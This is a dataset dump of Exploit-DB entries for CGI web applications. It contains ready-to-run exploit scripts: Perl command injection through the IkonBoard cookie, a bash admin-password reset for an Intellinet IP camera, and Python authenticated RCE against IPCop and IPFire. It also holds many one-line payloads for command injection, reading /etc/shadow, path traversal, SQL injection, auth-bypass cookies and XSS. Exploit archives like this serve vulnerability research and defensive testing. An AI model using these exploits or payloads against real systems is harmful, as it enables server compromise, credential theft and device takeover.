deardaniel/secdata-raw huggingface dataset:
Exploit-DB #22500
Description: IkonBoard 3.1 - Lang Cookie Arbitrary Command Execution (2)
Type: webapps
Platform: cgi
Date: 2003-05-05
Author: snooq

Exploit:
source: https://www.securityfocus.com/bid/7361/info
 
It has been reported that IkonBoard is prone to an arbitrary command execution vulnerability. The vulnerability is due to insufficient sanitization performed on user supplied cookie data.
 
An attacker may exploit this issue to execute arbitrary commands in the security context of the web server hosting the vulnerable IkonBoard. 

#!/usr/bin/perl
#
#  Date: 5 May 2003
#  Author: snooq [http://www.angelfire.com/linux/snooq/]
#
#  Ikonboard 3.1.1 Remote Command Execution PoC
#  ============================================
#  This bug was found by Nick Cleaton.
#
#  For more info and patch, go to:
#  http://archives.neohapsis.com/archives/bugtraq/2003-04/0027.html
#
#  Use at your very own risk.
#
#  Greetz.. my team mates: JF, Nam, ET..
#  And some new frens: Kader, Bufferoulis, Neil... ;)
#
use Socket;
use FileHandle;

if ($ARGV[0] eq '') {
	print "Usage: $0 <host> [cmd] [path]\n";
	exit;
}

my $port=80;
my $host=$ARGV[0];
my $addr=getaddr($ARGV[0]);
my $cmd=$ARGV[1]?($ARGV[1]):"/bin/uname -a";
my $path=$ARGV[2]?($ARGV[2]):"/cgi-bin/ikonboard.cgi";
my $buff=URLEncode(".\0\" unless(1);"
		   ."print \"Content-type: text/plain\\r\\n\\r\\n\";"
		   ."print \"---BEGIN---\\n\".`$cmd`.\"\\n---END---\";exit;#");

socket(SOCKET,PF_INET,SOCK_STREAM,(getprotobyname('tcp'))[2]);
connect(SOCKET,pack('Sna4x8',AF_INET,$port,$addr,2)) || die "Can't connect: $!\n";

SOCKET->autoflush();

print SOCKET "GET $path HTTP/1.1\r\n";
print SOCKET "Host: $host\r\n";
print SOCKET "Cookie: lang=$buff\r\n";
print SOCKET "Connection: close\r\n\r\n";
print "Ikonboard Exploit, by snooq [ jinyean\@hotmail.com ]\n\n";

while (<SOCKET>) {
	if (/^---BEGIN---/) {
		print "> $cmd\n";
		while (<SOCKET>){
			if (/^---END---/) { exit; }
			print; 
		} 
	}
}

print "$host seems not vulnerable.\n";

exit;

sub getaddr {
	my $host=($_[0]);
	my $n=$host;
	$n=~tr/\.//d;

	if ($n=~m/\d+/) {
		return pack('C4',split('\.',$host));
	}
	else {
		return (gethostbyname($host))[4];
	}
}

# URLEncode routine, courtesy of Glenn Fleishman 

sub URLEncode {
	my $theURL=$_[0];
	$theURL=~ s/([\W])/"%".uc(sprintf("%2.2x",ord($1)))/eg;
	return $theURL;
}
Exploit-DB #24986
Description: IkonBoard 3.x - Multiple SQL Injections
Type: webapps
Platform: cgi
Date: 2004-12-16
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/11982/info

Multiple remote SQL injection vulnerabilities reportedly affect Ikonboard. These issues are due to a failure of the application to properly sanitize user-supplied input prior to including it in SQL queries.

An attacker may exploit these issues to manipulate SQL queries to the underlying database. This may facilitate theft of sensitive information, potentially including authentication credentials, and data corruption. 

http://host/support/ikonboard.cgi?act=ST&f=27&t=13066&hl=nickname&st=[SQL_Syntax]
http://host/support/ikonboard.cgi?act=Search&CODE=01&keywords=[SQL_Syntax]&type=name&forums=all&search_in=all&prune=0
Exploit-DB #21487
Description: Image Display System 0.8.1 - Directory Existence Disclosure
Type: webapps
Platform: cgi
Date: 2002-05-28
Author: isox

Exploit:
source: https://www.securityfocus.com/bid/4870/info

IDS (Image Display System) is an web based photo album application written in Perl. IDS is freely available and is maintained by Ashley M. Kirchner.

Users can confirm the existence and location of various directories residing on the IDS host. This is accomplished when a request for a directory and album name is sent to the host containing numerous '../' character sequences. The error page returned will indicate to the attacker whether the specified path is a valid directory or not. 

#!/usr/bin/perl -w
#
# ids-inform.pl (05/27/2002)
#
# Image Display System 0.8x Information Disclosure Exploit.
# Checks for existance of specified directory.
#
# By: isox [isox@chainsawbeer.com]
#
#
# usage: self explanitory
#
# my spelling: bad
#
# Hi Cody, You should be proud, I coded for you!
# Hi YpCat, Your perl is k-rad and pheersom.
#
#######
# URL #
#######
# http://0xc0ffee.com
# http://hhp-programming.net
#
#
#################
# Advertisement #
#################
#
# Going to Defcon X this year?  Well come to the one and only Dennys at Defcon breakfast.
# This is quickly becoming a yearly tradition put on by isox.  Check 0xc0ffee.com for
# more information.
#

$maxdepth = 30;

&Banner;

if ($#ARGV < 3) {
  die("Usage $0 <directory> <http://host/path/to/index.cgi> <host> <port>\n");
}

for($t=0; $t<$maxdepth; $t++) {
  $dotdot = "$dotdot" . "/..";
}

$query = "GET $ARGV[1]" . "?mode=album&album=$dotdot/$ARGV[0]\n\n";
$blahblah = &Directory($query, $ARGV[2], $ARGV[3]);

if($blahblah =~ /Sorry, invalid directory name/) {
  print("$ARGV[0] Exists.\n");
} else {
  print("$ARGV[0] Does Not Exist.\n");
}

exit 0;




sub Banner {
  print("IDS Information Disclosure Exploit\n");
  print("Written by isox [isox\@chainsawbeer.com]\n\n");
}


sub Directory {
  use IO::Socket::INET;

  my($query, $host, $port) = @_;

  $sock = new IO::Socket::INET (
            PeerAddr => $host,
            PeerPort => $port,
            Timeout => 8,
            Proto => 'tcp'
          );

  if(!$sock) {
    die("sock: timed out\n");
  }


  print $sock $query;
  read($sock, $buf, 8192);
  close($sock);

  return $buf;
}

<-- EOF -->
Exploit-DB #22743
Description: ImageFolio 2.2x/3.0/3.1 - 'Admin.cgi' Directory Traversal
Type: webapps
Platform: cgi
Date: 2003-06-05
Author: Paul Craig

Exploit:
source: https://www.securityfocus.com/bid/7828/info

ImageFolio 'admin.cgi' has been reported prone to a directory traversal vulnerability.

By supplying directory traversal sequences, as a URI parameter, to the 'admin.cgi' script an attacker may break out of the web root directory.

Successful exploitation may expose sensitive information to remote attackers. This information could be used to aid in further attacks against the affected system. 

http://www.samplesite.com/cgi-bin/imagefolio/admin/admin.cgi?cgi=remove.
pl&uid=111.111.111.111&rmstep=2&category=../../../../../../../../../../.
./etc/
Exploit-DB #21617
Description: IMHO Webmail 0.9x - Account Hijacking
Type: webapps
Platform: cgi
Date: 2002-07-15
Author: Security Bugware

Exploit:
source: https://www.securityfocus.com/bid/5238/info

A vulnerability has been reported in the IMHO Roxen webmail module which may enable a malicious user of the webmail system to gain access to the account of another user. This issue is due to an error in configuration which may leak the REFERER for a session with the webmail system, which an attacker may use to access another webmail account. 

- Login with an valid user/passwd,
- Logout
- Goto URL : (((webmail_URL)))/(old_error,plain)/mail/error?error=1

This will cause the webserver to display a REFERER. This REFERER may be submitted to access another user's session.
Exploit-DB #22770
Description: Infinity CGI Exploit Scanner 3.11 - Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2003-06-12
Author: badpack3t

Exploit:
source: https://www.securityfocus.com/bid/7910/info

Infinity CGI Exploit Scanner is reported to be prone to a cross-site scripting vulnerability. An attacker could exploit this issue to creating a malicious link to a site hosting the software that contains hostile HTML and script code. If this link is visited by a web user, the attacker-supplied code could be interpreted in their browser.

http://www.example.com/cgi-bin/nph-exploitscanget.cgi?host=%3Cscript%3Ealert%28document%2Ecookie%29%3C%2Fscript%3E&port=80&idsbypass=0&errchk=1
Exploit-DB #22772
Description: Infinity CGI Exploit Scanner 3.11 - Remote Command Execution
Type: webapps
Platform: cgi
Date: 2003-06-12
Author: badpack3t

Exploit:
source: https://www.securityfocus.com/bid/7913/info

Infinity CGI Exploit Scanner is prone to a remote command execution vulnerability. This is due to insufficient sanitization of input supplied via URI parameters. Exploitation could allow for execution of commands with the privileges of the web server process.

http://www.example.com/cgi-bin/nph-exploitscanget.cgi?host=`cat%20/etc/passwd``
cat%20/etc/shadow`&port=80&errchk=0&idsbypass=0
Exploit-DB #39127
Description: innoEDIT - 'innoedit.cgi' Remote Command Execution
Type: webapps
Platform: cgi
Date: 2014-03-21
Author: Felipe Andrian Peixoto

Exploit:
source: https://www.securityfocus.com/bid/66367/info

innoEDIT is prone to a remote command-execution vulnerability because the application fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary commands in the context of the affected application.

innoEDIT 6.2 is vulnerable; other versions may also be affected. 

http://www.example.com/innoedit/innoedit.cgi?download=;id|
Exploit-DB #24779
Description: InShop and InMail - Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2004-11-25
Author: Carlos Ulver

Exploit:
source: https://www.securityfocus.com/bid/11758/info

InMail and InShop are both reported susceptible to cross-site scripting vulnerabilities. These issues are due to a failure of the applications to properly sanitize user-supplied input prior to including it in dynamic Web pages.

These issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/mod_perl/inmail.pl?acao=<<h1>opss!</h1>
http://www.example.com/mod_perl/inshop.pl?screen=<script>alert(document.cookie);</script>
Exploit-DB #34794
Description: Intellicom Netbiter webSCADA Products - 'read.cgi' Multiple Remote Security Vulnerabilities
Type: webapps
Platform: cgi
Date: 2010-10-01
Author: Eugene Salov

Exploit:
source: https://www.securityfocus.com/bid/43636/info

Intellicom Netbiter webSCADA products are prone to multiple remote security vulnerabilities, including a directory-traversal vulnerability, an information-disclosure vulnerability, and an arbitrary-file-upload vulnerability.

An attacker can exploit these issues to upload and execute arbitrary script code on an affected computer with the privileges of the webserver process, view arbitrary local files, or obtain sensitive data that can aid in further attacks.

Netbiter webSCADA WS100 and Netbiter webSCADA WS200 are vulnerable; other versions may also be affected.

http://www.example.com/cgi-bin/read.cgi?page=../../../../../../../../../../../etc/passwd%00
http://www.example.com/gi-bin/read.cgi?file=/home/config/users.cfg
http://www.example.com/cgi-bin/read.cgi?page=config.html&file=/home/config/pages/2.conf&section=PAGE2
Exploit-DB #27685
Description: IntelliLink Pro 5.06 - 'addlink_lwp.cgi?url' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2006-04-19
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17605/info

IntelliLink Pro is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/addlink_lwp.cgi?url=[XSS]
Exploit-DB #27686
Description: IntelliLink Pro 5.06 - 'edit.cgi' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cgi
Date: 2006-04-19
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17605/info
 
IntelliLink Pro is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/edit.cgi?id=[XSS]
http://www.example.com/edit.cgi?forgotid=[XSS]
http://www.example.com/edit.cgi?forgotpass=[XSS]
Exploit-DB #40303
Description: Intellinet IP Camera INT-L100M20N - Unauthorized Admin Credential Change
Type: webapps
Platform: cgi
Date: 2016-08-29
Author: Todor Donev

Exploit:
#!/bin/bash
#
#  INTELLINET IP Camera INT-L100M20N remote change admin user/password 
#
#  Copyright 2016 (c) Todor Donev <todor.donev at gmail.com>
#  http://www.ethical-hacker.org/
#  https://www.facebook.com/ethicalhackerorg
#  
#  Disclaimer:
#  This or previous programs is for Educational
#  purpose ONLY. Do not use it without permission.
#  The usual disclaimer applies, especially the
#  fact that Todor Donev is not liable for any
#  damages caused by direct or indirect use of the
#  information or functionality provided by these
#  programs. The author or any Internet provider
#  bears NO responsibility for content or misuse
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact
#  that any damage (dataloss, system crash,
#  system compromise, etc.) caused by the use
#  of these programs is not Todor Donev's
#  responsibility.
#  
#  Use them at your own risk!
#
#  
 
if [[ $# -gt 3 || $# -lt 2 ]]; then
        echo "  [ INTELLINET IP Camera INT-L100M20N  remote change admin user/password"
        echo "  [ ==="
        echo "  [ Usage: $0 <target> <user> <password>"
        echo "  [ Example: $0 192.168.1.200:80 admin teflon"
        echo "  [ ==="
        echo "  [ Copyright 2016 (c) Todor Donev  <todor.donev at gmail.com>" 
        echo "  [ Website:   http://www.ethical-hacker.org/"
        echo "  [ Facebook:  https://www.facebook.com/ethicalhackerorg "
        exit;
fi
GET=`which GET 2>/dev/null`
if [ $? -ne 0 ]; then
        echo "  [ Error : libwww-perl not found =/"
        exit;
fi
        GET -H "Cookie: frame_rate=8; expansion=10; mode=43; user_id=guest; user_auth_level=43; behind_firewall=0" "http://$1/userconfigsubmit.cgi?adminid=$2&ad[CREDENTIAL_REDACTED]=$3&user1=guest&userpw1=1337&repasswd1=1337&max_frame_user1=8&authority1=41&user2=&userpw2=&repasswd2=&max_frame_user2=6&authority2=40&user3=&userpw3=&repasswd3=&max_frame_user3=6&authority3=40&user4=&userpw4=&repasswd4=&max_frame_user4=6&authority4=40&user5=&userpw5=&repasswd5=&max_frame_user5=6&authority5=40&submit=submit" 0&> /dev/null <&1
Exploit-DB #27631
Description: Interaktiv.shop 4/5 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cgi
Date: 2006-04-12
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17485/info

interaktiv.shop is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/cgi-bin/interaktiv.shop/front/shop_main.cgi?func=det&wkid=[PII_REDACTED]1246215&rub1=Footprints&rub2=Architect&artnr=114&pn=%22%3Cscript%3Ealert('r0t')%3C/script%3E

http://www.example.com/cgi-bin/interaktiv.shop/front/shop_main.cgi?func=searchdo&sfields=&wkid=[PII_REDACTED]1246215&rub1_search=all&sfield=1&sbeg=%22%3Cscript%3Ealert('r0t')%3C/script%3E
Exploit-DB #8895
Description: Interlogy Profile Manager Basic - Insecure Cookie Handling
Type: webapps
Platform: cgi
Date: 2009-06-08
Author: ZoRLu

Exploit:
[~] interlogy Profile Manager Basic (for ByPass) Insecure Cookie Handling Vulnerability 
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 06/06/2009
[~]
[~] Home: yildirimordulari.com / z0rlu.blogspot.com 
[~]
[~] msn: trt-turk@hotmail.com
[~] 
[~] N0T: Kpss AnanI ....
[~] -----------------------------------------------------------

desc:

normal login for cookie

pmadm=dGVzdA;

if Ã½ do this:

pmadm=dGVzd(write any thing);

example:

pmadm=dGVzdz;  

or

pmadm=dGVzd[PII_REDACTED]3;

not login 

if Ã½ do wthis:

pmadm=dGVzd ' or ';

boom this loggin :D

exp:

javascript:document.cookie = "pmadm=dGVzd ' or '; path=/";

after you go here:

http://demo.interlogy.com/pm3/cgi/admin.cgi?action=edittemp

or http://demo.interlogy.com/pm3/cgi/admin.cgi?action=users

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & DrLy0N & w0cker & Cyber-Zone & Stack & ThE g0bL!N & AlpHaNiX  and all friends
[~]
[~] yildirimordulari.com / z0rlu.blogspot.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2009-06-08]
Exploit-DB #34347
Description: iOffice 0.1 - 'parametre' Remote Command Execution
Type: webapps
Platform: cgi
Date: 2010-07-18
Author: Marshall Whittaker

Exploit:
source: https://www.securityfocus.com/bid/41768/info

iOffice is prone to a remote command-execution vulnerability because the software fails to adequately sanitize user-supplied input.

Successful attacks can compromise the affected software and the underlying server.

iOffice 0.1 is affected; other versions may also be vulnerable.

http://www.example.com/cgi-bin/index.pl?section_name=whatever&section=ioffice&parametre=|id|
Exploit-DB #21979
Description: ION Script 1.4 - Remote File Disclosure
Type: webapps
Platform: cgi
Date: 2002-11-01
Author: Zero X

Exploit:
source: https://www.securityfocus.com/bid/6091/info

A vulnerability has been discovered in ION Script.

By sending a malicious HTTP request to a webserver running the vulnerable ION Script package, it is possible for a remote attacker to disclose arbitrary webserver readable files. As webservers are often run with high privileges, it may be possible to disclose sensitive system files.

Exploiting this issue may allow an attacker to gain information required to launch further attacks against the target system.

ION Script for UNIX has also been confirmed vulnerable to this issue.

It is not yet known which ION Script packages are vulnerable to this issue. 

http://www.example.com/cgi-bin/ion-p.exe?page=c:\winnt\repair\sam

http://www.example.com/cgi-bin/ion-p?page=../../../../../etc/hosts
Exploit-DB #50183
Description: IPCop 2.1.9 - Remote Code Execution (RCE) (Authenticated)
Type: webapps
Platform: cgi
Date: 2021-08-10
Author: Mücahit Saratar

Exploit:
# Exploit Title: IPCop 2.1.9 - Remote Code Execution (RCE) (Authenticated)
# Date: 02/08/2021
# Exploit Author: Mücahit Saratar
# Vendor Homepage: https://www.ipcop.org/
# Software Link: https://sourceforge.net/projects/ipcop/files/IPCop/IPCop%202.1.8/ipcop-2.1.8-install-cd.i486.iso - https://sourceforge.net/projects/ipcop/files/IPCop/IPCop%202.1.9/ipcop-2.1.9-update.i486.tgz.gpg
# Version: 2.1.9
# Tested on: parrot os 5.7.0-2parrot2-amd64

#!/usr/bin/python3

import requests as R
import os
import sys
import base64
import urllib3

R.packages.urllib3.disable_warnings()
R.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
try:
    R.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
except AttributeError:
    # no pyopenssl support used / needed / available
    pass

try:
    hostport = sys.argv[1]
    assert hostport[:8] == "https://" and hostport[-1] == "/"
    url = hostport + "cgi-bin/email.cgi"
    username = sys.argv[2].encode()
    password = sys.argv[3].encode()
    auth = base64.b64encode(username+b":"+password).decode()
    command = sys.argv[4]
    assert " " in command
except:
    print("[-] Usage https://host:port/ username password command(no spaces) <port for listen with nc - optional - >")
    exit(1)


rheader = {"Authorization":"Basic "+auth,
        "Origin": hostport,
        "Referer": url}

rdata = {
        "EMAIL_SERVER": "mucahitsaratar.github.io",
        "EMAIL_USE_TLS": "auto",
        "EMAIL_SERVER_PORT": "1337",
        "EMAIL_USR": "ipcop@localdomain",
        "EMAIL_PW": f"`{command}`",
        "EMAIL_FROM": "ipcop@localdomainn",
        "EMAIL_TO": "ipcop@localdomainnn",
        "ACTION": "Kaydet" # change here to what is mean the "save && send test mail" in target language
        }


R.post(url,headers=rheader, data=rdata, verify=False)
rdata["ACTION"] = "Test postası gönder" # send test mail
R.post(url,headers=rheader, data=rdata, verify=False)
Exploit-DB #49869
Description: IPFire 2.25 - Remote Code Execution (Authenticated)
Type: webapps
Platform: cgi
Date: 2021-05-17
Author: Mücahit Saratar

Exploit:
# Exploit Title: IPFire 2.25 - Remote Code Execution (Authenticated)
# Date: 15/05/2021
# Exploit Author: Mücahit Saratar
# Vendor Homepage: https://www.ipfire.org/
# Software Link: https://downloads.ipfire.org/releases/ipfire-2.x/2.25-core156/ipfire-2.25.x86_64-full-core156.iso
# Version: 2.25 - core update 156
# Tested on: parrot os 5.7.0-2parrot2-amd64
# CVE: CVE-2021-33393

#!/usr/bin/python3

import requests as R
import sys
import base64

try:
    host = sys.argv[1]
    assert host[:4] == "http" and host[-1] != "/"
    url = host + "/cgi-bin/pakfire.cgi"
    username = sys.argv[2]
    password = sys.argv[3]
    komut = sys.argv[4]
except:
    print(f"{sys.argv[0]} http://target.com:444 username password command")
    exit(1)

veri = { 
        "INSPAKS": f"7zip;{komut}",
        "ACTION":"install",
        "x": "10",
        "y": "6" }
token = b"Basic " + base64.b64encode(f"{username}:{password}".encode())
header = {"Authorization": token,
        "Connection": "close",
        "Cache-Control": "max-age=0",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36",
        "Origin": host,
        "Sec-GPC": "1",
        "Sec-Fetch-Site": "same-origin",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-User": "?1",
        "Sec-Fetch-Dest": "document",
        "Referer": host}


R.post(url, data=veri, headers=header, verify=False)
print("Done.")
Exploit-DB #23466
Description: iSoft-Solutions QuikStore Shopping Cart 2.12 - 'store' Full Path Disclosure
Type: webapps
Platform: cgi
Date: 2003-12-23
Author: Dr Ponidi Haryanto

Exploit:
source: https://www.securityfocus.com/bid/9282/info

It has been reported that QuikStore Shopping Cart may be prone to an information disclosure vulnerability due to insufficient sanitization of user-supplied data through the 'store' parameter of the 'quikstore.cgi' script. An attacker may dislcose the installation path of a file by making a malformed request and passing a single quote "'" character to generate an error message. The error message is reported to contain sensitive information such as the installation path.

Specific vulnerable versions of the software were not identified in the report; therefore it is assumed that the current version QuikStore Shopping Cart v2.12 is vulnerable to this issue.

http://[target]/cgi-bin/quikstore.cgi?store='